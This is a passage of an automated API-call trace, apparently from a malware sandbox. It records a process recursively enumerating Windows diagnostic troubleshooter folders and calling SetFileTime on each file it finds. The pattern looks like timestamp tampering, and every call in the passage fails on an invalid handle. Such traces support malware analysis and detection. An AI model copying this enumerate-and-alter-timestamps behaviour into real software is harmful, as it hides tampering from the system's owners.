ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_pagesyncpolicy.ps1", cAlternateFileName="")) returned 1 [0126.539] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.539] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\TS_IEconnection.ps1") returned="TS_IEconnection.ps1" [0126.539] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.539] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.539] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.539] CloseHandle (hObject=0xffffffff) returned 0 [0126.540] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1096afad, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1096afad, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd211a783, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_tempfilecachesize.ps1", cAlternateFileName="")) returned 1 [0126.540] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.540] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\TS_pagesyncpolicy.ps1") returned="TS_pagesyncpolicy.ps1" [0126.540] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.540] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.540] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.540] CloseHandle (hObject=0xffffffff) returned 0 [0126.541] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1096afad, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1096afad, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd211a783, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="VF_IEDefectiveAddon.ps1", cAlternateFileName="")) returned 1 [0126.541] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.541] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\TS_tempfilecachesize.ps1") returned="TS_tempfilecachesize.ps1" [0126.541] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.541] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.541] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.541] CloseHandle (hObject=0xffffffff) returned 0 [0126.541] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1096afad, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1096afad, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd211a783, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="VF_IEDefectiveAddon.ps1", cAlternateFileName="")) returned 0 [0126.542] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0126.542] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="IESecurity", cAlternateFileName="IESECU~1")) returned 1 [0126.542] lstrcmpA (lpString1=".", lpString2="IESecurity") returned -1 [0126.542] lstrcmpA (lpString1="..", lpString2="IESecurity") returned -1 [0126.542] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.542] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\IESecurity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.555] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.555] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.555] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.555] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.555] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd68113a9, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xd68113a9, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xd68113a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_Utility.ps1", cAlternateFileName="")) returned 1 [0126.555] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.556] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\*.*") returned="*.*" [0126.556] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\" [0126.556] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="" [0126.556] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.556] CloseHandle (hObject=0xffffffff) returned 0 [0126.557] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107ee20b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x107ee20b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x909d6edc, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x1dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0126.557] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.557] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\CL_Utility.ps1") returned="CL_Utility.ps1" [0126.557] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\" [0126.557] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="" [0126.557] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.557] CloseHandle (hObject=0xffffffff) returned 0 [0126.557] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa389b7da, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa389b7da, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa38c193a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0126.558] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.558] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.558] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\" [0126.558] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="" [0126.558] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.558] CloseHandle (hObject=0xffffffff) returned 0 [0126.558] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0126.558] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.559] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.559] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\DiagPackage.dll") returned="DiagPackage.dll" [0126.559] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x50156a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.559] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.559] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0126.559] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.559] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.559] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe65ad698, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe65ad698, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf17b2f00, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0126.559] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.598] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\*.*") returned="*.*" [0126.598] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" [0126.598] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\") returned="" [0126.599] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.599] CloseHandle (hObject=0xffffffff) returned 0 [0126.599] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6db831c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa6db831c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa6db831c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="IESecurity_TroubleShooter.psd1", cAlternateFileName="")) returned 1 [0126.599] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.600] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\DiagPackage.dll.mui") returned="DiagPackage.dll.mui" [0126.600] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" [0126.600] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\") returned="" [0126.600] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.600] CloseHandle (hObject=0xffffffff) returned 0 [0126.600] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6db831c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa6db831c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa6db831c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_Blockpopups.psd1", cAlternateFileName="")) returned 1 [0126.601] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.601] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\IESecurity_TroubleShooter.psd1") returned="IESecurity_TroubleShooter.psd1" [0126.601] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" [0126.601] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\") returned="" [0126.601] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.601] CloseHandle (hObject=0xffffffff) returned 0 [0126.602] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6db831c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa6db831c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa6db831c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_IESecuritylevels.psd1", cAlternateFileName="")) returned 1 [0126.602] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.602] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\RS_Blockpopups.psd1") returned="RS_Blockpopups.psd1" [0126.602] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" [0126.602] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\") returned="" [0126.602] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.602] CloseHandle (hObject=0xffffffff) returned 0 [0126.603] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6db831c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa6db831c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa6db831c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_PhishingFilter.psd1", cAlternateFileName="")) returned 1 [0126.603] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.603] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\RS_IESecuritylevels.psd1") returned="RS_IESecuritylevels.psd1" [0126.603] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" [0126.603] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\en-US\\") returned="" [0126.603] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.603] CloseHandle (hObject=0xffffffff) returned 0 [0126.604] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6db831c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa6db831c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa6db831c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_PhishingFilter.psd1", cAlternateFileName="")) returned 0 [0126.604] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0126.604] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106bd723, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x106bd723, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd69b42b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4104, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="IEsecuritysettings.ps1", cAlternateFileName="")) returned 1 [0126.604] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.604] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\*.*") returned="*.*" [0126.604] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\" [0126.604] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="" [0126.605] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.605] CloseHandle (hObject=0xffffffff) returned 0 [0126.605] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106bd723, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x106bd723, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd685d665, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IESecurity_TroubleShooter.ps1", cAlternateFileName="")) returned 1 [0126.605] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.605] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\IEsecuritysettings.ps1") returned="IEsecuritysettings.ps1" [0126.605] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\" [0126.605] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="" [0126.606] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.606] CloseHandle (hObject=0xffffffff) returned 0 [0126.606] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106e3880, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x106e3880, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd6a0056f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_Blockpopups.ps1", cAlternateFileName="")) returned 1 [0126.606] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.606] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\IESecurity_TroubleShooter.ps1") returned="IESecurity_TroubleShooter.ps1" [0126.606] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\" [0126.606] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="" [0126.607] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.607] CloseHandle (hObject=0xffffffff) returned 0 [0126.607] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107099dd, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x107099dd, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd6a266cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_IESecuritylevels.ps1", cAlternateFileName="")) returned 1 [0126.607] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.607] PathFindFileNameA 